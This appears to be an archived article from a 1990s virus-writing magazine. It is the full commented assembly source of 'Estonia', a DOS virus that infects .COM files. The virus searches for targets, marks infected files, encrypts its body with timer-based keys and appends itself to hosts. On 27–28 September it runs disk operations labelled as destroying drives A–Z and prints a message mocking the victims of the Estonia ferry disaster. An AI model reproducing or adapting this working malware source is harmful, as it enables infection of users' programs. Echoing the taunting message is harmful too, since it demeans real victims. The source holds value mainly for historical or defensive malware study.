home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.4_6 < prev    next >
Encoding:
Text File  |  1994-10-31  |  9.9 KB  |  210 lines

  1.  
  2. ;                      D   A   R   K   M   A   N
  3. ;                           Proudly Presents
  4. ;                      E   S   T   O   N   I   A
  5.  
  6. psp          equ     100h
  7. virussize    equ     extracopy - code
  8. cryptsize    equ     extracopy - crypted - 01h
  9. dtaoffset    equ     02h * virussize + psp
  10. filetime     equ     dtaoffset + 16h
  11. filedate     equ     dtaoffset + 18h
  12. filesize     equ     dtaoffset + 1ah
  13. filename     equ     dtaoffset + 1eh
  14. memsize      equ     dtaoffset + 2bh
  15.  
  16. estonia      segment
  17.              assume  cs:estonia,ds:estonia,es:estonia
  18.              org     100h                ; Origin of COM-file
  19.  
  20. code:
  21.              call    viruscode
  22. virusid      db      'ES'                ; Estonia Scan-ID
  23.  
  24. viruscode:
  25.              pop     bp                  ; Load BP from stack
  26.              sub     bp,offset virusid   ; BP = delta offset
  27.  
  28.              or      bp,bp               ; BP = 0?
  29.              je      crypted             ; Equal? Jump to crypted
  30.              std                         ; Set direction flag
  31.              lea     bx,[bp+crypted]     ; AX = offset encrypted code
  32.              mov     cx,02h              ; Transpose 2 times
  33.              mov     dx,cryptsize        ; Decrypt 350 bytes
  34. denexttime:
  35.              push    cx                  ; Save CX at stack
  36.              mov     cx,dx               ; CX = size of encrypted code
  37.              mov     di,bx
  38.              add     di,dx               ; DI = offset of last encrypted code
  39.              mov     si,di               ; SI = offset of last encrypted code
  40.              lodsb                       ; Load last plain byte
  41.              sub     [bx],al             ; Subtract AL from first encrypt byte
  42. denextbyte:
  43.              lodsw                       ; Load 2 encrypted bytes
  44.              sub     ah,al               ; Subtract AL from AH
  45.              mov     al,ah               ; AL = decrypted byte
  46.              stosb                       ; Store a decrypted byte
  47.              inc     si                  ; Increase SI
  48.              loop    denextbyte
  49.              pop     cx                  ; Load CX from stack
  50.              loop    denexttime
  51. crypted:
  52.              cld                         ; Clear direction flag
  53.              mov     ah,2ah              ; Get system date
  54.              int     21h                 ; Do it!
  55.              cmp     dx,091bh            ; 27. September?
  56.              jb      dontsink            ; Below? Jump to dontsink
  57.              cmp     dx,091ch            ; 28. September?
  58.              ja      dontsink            ; Above? Jump to dontsink
  59.  
  60.              xor     al,al               ; Clear AL
  61.              mov     cx,19h              ; Destroy drives A-Z
  62. formattrack:
  63.              push    cx                  ; Save CX at stack
  64.              mov     ah,2                ; Read a track
  65.              xor     cx,cx               ; Clear CX
  66.              xor     dh,dh               ; Clear DH
  67.              mov     dl,al
  68.              int     13h                 ; Do it! (disk)
  69.              inc     al                  ; Increase AL
  70.              pop     cx                  ; Load CX from stack
  71.              loop    formattrack
  72.  
  73.              mov     ah,09h              ; Standard output string
  74.              lea     dx,message          ; DX = offset of message
  75.              int     21h                 ; Do it!
  76.              
  77.              int     20h                 ; Exit to DOS!
  78. dontsink:
  79.              mov     ah,4ah              ; Modify memory allocation
  80.              mov     bx,1000h            ; The new block size is 65535 bytes
  81.              int     21h                 ; Do it!
  82.              jc      virusexit           ; Error? Jump to vitusexit
  83.  
  84.              mov     ah,1ah              ; Set disk transfer address
  85.              lea     dx,[bp+dtaoffset]   ; DX = offset of new DTA
  86.              int     21h                 ; Do it!
  87.  
  88.              mov     ah,4eh              ; Find first matching file
  89.              mov     cx,22h              ; File attribute hidden+archive
  90.              lea     dx,[bp+filespec]    ; DX = offset of filespec
  91. findnext:
  92.              int     21h                 ; Do it!
  93.              jnc     infect              ; No error? Jump to infect
  94. virusexit:
  95.              mov     ah,1ah              ; Set disk transfer address
  96.              mov     dx,80h              ; DX = offset of default DTA
  97.              int     21h                 ; Do it!
  98.  
  99.              mov     di,100h             ; DI = beginning of code
  100.              lea     si,[bp+realcode]    ; SI = offset of realcode
  101.              push    di                  ; Restore Instruction Pointer (IP)
  102.              movsw                       ; Move the real code to the beginning
  103.              movsw                       ;  "    "   "    "   "   "      "
  104.              movsb                       ;  "    "   "    "   "   "      "
  105.              ret                         ; Return!
  106. setfileinfo:
  107.              mov     cx,[bp+filetime]    ; CX = file time in DTA
  108.              mov     dx,[bp+filedate]    ; DX = file date in DTA
  109.              mov     ax,5701h            ; Set file data and time
  110.              int     21h                 ; Do it!
  111. closefile:
  112.              mov     ah,3eh              ; Close file
  113.              int     21h                 ; Do it!
  114.              mov     ah,4fh              ; Find next matching file
  115.              jmp     short findnext
  116. infect:
  117.              mov     cx,virussize        ; Move 400 bytes
  118.              lea     di,[bp+extracopy]   ; DI = offset of extracopy
  119.              lea     si,[bp+code]        ; SI = offset of code
  120.              rep     movsb               ; Create an extra copy of virus
  121.  
  122.              mov     ax,3d02h            ; Open file (read/write)
  123.              lea     dx,[bp+filename]    ; DX = offset of filename in DTA
  124.              int     21h                 ; Do it!
  125.              jc      closefile           ; Error? Jump to closefile
  126.              xchg    ax,bx               ; Exchange AX with BX
  127.  
  128.              mov     ax,word ptr [bp+filesize]
  129.              cmp     ax,05h              ; AX = 5? (AX < 5)
  130.              jb      closefile           ; Less? Jump to closefile
  131.              cmp     ax,(65535-memsize)  ; AX = 64432? (AX > 64432)
  132.              ja      closefile           ; Greater? Jump to closefile
  133.  
  134.              sub     ax,03h              ; AX = offset of virus code
  135.              mov     [bp+offset estoniacode+01h],ax
  136.  
  137.              mov     ah,3fh              ; Read from file
  138.              mov     cx,05h              ; Read 5 bytes
  139.              lea     dx,[bp+virussize+realcode]
  140.              int     21h                 ; Do it!
  141.  
  142.              cmp     [bp+virussize+offset realcode+03h],'SE'
  143.              je      closefile           ; Infected? Jump to closefile
  144.  
  145.              lea     di,[bp+virussize+cryptvalues]
  146.              in      ax,40h              ; AX = port 40h
  147.              stosw                       ; Store AX in crypt values
  148.              in      ax,40h              ; AX = port 40h
  149.              stosw                       ; Store AX in crypt value
  150.  
  151.              push    bx                  ; Save BX at stack
  152.              lea     bx,[bp+virussize+crypted]
  153.              mov     cx,02h              ; Transpose 2 times
  154.              mov     dx,cryptsize        ; Encrypt 350 bytes
  155. ennexttime:
  156.              push    cx                  ; Save CX at stack
  157.              mov     cx,dx               ; CX = size of plain code
  158.              mov     di,bx               ; DI = offset of plain code
  159.              mov     si,bx               ; SI = offset of plain code
  160.              inc     di                  ; Increase DI
  161. ennextbyte:
  162.              lodsw                       ; Load 2 plain bytes
  163.              add     al,ah               ; Add AH to AL
  164.              stosb                       ; Store a encrypted byte
  165.              dec     si                  ; Decrease SI
  166.              loop    ennextbyte
  167.              add     [bx],al             ; Add AL to plain byte
  168.              pop     cx                  ; Load CX from stack
  169.              loop    ennexttime
  170.              pop     bx                  ; Load BX from stack
  171.  
  172.              mov     ax,4202h            ; Move file pointer to the end
  173.              xor     cx,cx               ; Clear CX
  174.              cwd                         ; Convert word to doubleword
  175.              int     21h                 ; Do it!
  176.  
  177.              mov     ah,40h              ; Write to file
  178.              mov     cx,virussize        ; Write 400 bytes
  179.              lea     dx,[bp+extracopy]   ; DX = offset of extracopy
  180.              int     21h                 ; Do it!
  181.              cmp     ax,cx               ; Disk full?
  182.              jne     infectdone          ; Error? Jump to infectdone
  183.  
  184.              mov     ax,4200h            ; Move file pointer to the beginning
  185.              xor     cx,cx               ; Clear CX
  186.              cwd                         ; Convert word to doubleword
  187.              int     21h                 ; Do it!
  188.  
  189.              mov     ah,40h              ; Write to file
  190.              mov     cx,05h              ; Write 5 bytes
  191.              lea     dx,[bp+estoniacode] ; DX = offset of estoniacode
  192.              int     21h                 ; Do it!
  193. infectdone:
  194.              jmp     setfileinfo
  195.  
  196. cryptvalues  db      04h dup(?)          ; Cryption values
  197. estoniacode  db      0e8h,00h,00h,'ES'   ; New code of infected file
  198. realcode     db      0cdh,20h            ; Real code of infected file
  199.              db      03h dup(?)
  200. filespec     db      '*.COM',00h         ; File specification
  201. message      db      'Your drives were ' ; This message will be shown the
  202.              db      'on the Estonia...' ; 27 / 28. September and then the
  203.              db      ' They DIDN''T sur' ; drives (A-Z) bootsector will
  204.              db      'vive!!!',0dh,0ah   ; look like it is being destroyed!!!
  205.              db      '$'
  206. extracopy:
  207.  
  208. estonia      ends
  209. end          code
  210.